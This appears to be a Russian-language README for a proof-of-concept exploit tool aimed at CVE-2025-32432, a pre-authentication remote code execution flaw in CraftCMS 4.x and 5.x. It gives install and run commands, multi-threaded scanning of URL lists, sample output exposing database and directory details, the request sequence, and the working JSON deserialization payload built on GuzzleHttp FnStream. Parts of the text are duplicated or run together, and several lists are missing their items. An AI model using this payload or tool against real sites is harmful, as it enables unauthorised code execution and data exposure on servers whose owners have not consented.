
Этот репозиторий содержит proof-of-concept скрипт эксплойта для CVE-2025-32432 — уязвимости удалённого выполнения кода (RCE) до аутентификации, затрагивающей CraftCMS версий 4.x и 5.x. Уязвимость находится в функции генерации трансформаций ресурсов CraftCMS.
Этот репозиторий содержит скрипт эксплойта для Proof-of-Concept (PoC) для CVE-2025-32432, уязвимости удаленного выполнения кода (RCE) до аутентификации, затрагивающей CraftCMS версий 4.x и 5.x. Уязвимость существует в функции генерации трансформаций ресурсов (asset transform generation) CraftCMS.
Этот скрипт эксплойта автоматизирует обнаружение и проверку уязвимости, выполняя:
⚠️ Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности.
Используйте этот инструмент только против систем, на тестирование которых у вас есть явное разрешение. Несанкционированное тестирование систем без разрешения незаконно и неэтично.
# Clone the repository
git clone https://github.com/Sachinart/CVE-2025-32432.git
cd CVE-2025-32432
# Install required dependencies
pip install -r requirements.txt
Для сканирования одной цели:
python3 craftcms_rce.py -u example.com
Для сканирования нескольких целей из файла (один URL на строку):
python3 craftcms_rce.py -f urls.txt -t 10
Где -t указывает количество потоков (по умолчанию 5).
-u, --url Одиночный URL для тестирования
-f, --file Файл, содержащий URL для тестирования (по одному на строку)
-t, --threads Количество потоков (по умолчанию: 5)
-h, --help Показать справку и выйти
Скрипт выведет результаты в консоль и сохранит уязвимые цели в vulnerable.txt в формате CSV со следующими столбцами:
Пример вывода в консоль:
[*] Тестирование одиночной цели: https://example.com
[*] Запуск сканирования с 5 потоками
[+] УЯЗВИМ: https://example.com
CRAFT_DB_DATABASE: example_db
HOME Directory: /home/example
=== СВОДКА СКАНИРОВАНИЯ ===
Всего просканировано URL: 1
Уязвимых сайтов: 1
Детальные результаты сохранены в vulnerable.txt
Эта уязвимость использует проблему десериализации в CraftCMS. Эксплойт:
/index.php?p=admin/dashboard для получения CSRF-токена/index.php?p=admin/actions/assets/generate-transform со специально сформированной JSON-нагрузкой (payload)GuzzleHttp\Psr7\FnStreamphpinfo() и извлечением определенной системной информацииЭксплойт использует небезопасную десериализацию в процессе генерации трансформаций ресурсов. Уязвимый путь кода позволяет злоумышленнику внедрить пользовательский PHP-объект, который десериализуется, что приводит к произвольному выполнению кода.
Ключевые компоненты нагрузки:
{
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
}
}
Приветствуются вклады, сообщения об ошибках и запросы функций! Не стесняйтесь проверять страницу issues.
Этот проект лицензирован под лицензией MIT — подробности смотрите в файле LICENSE.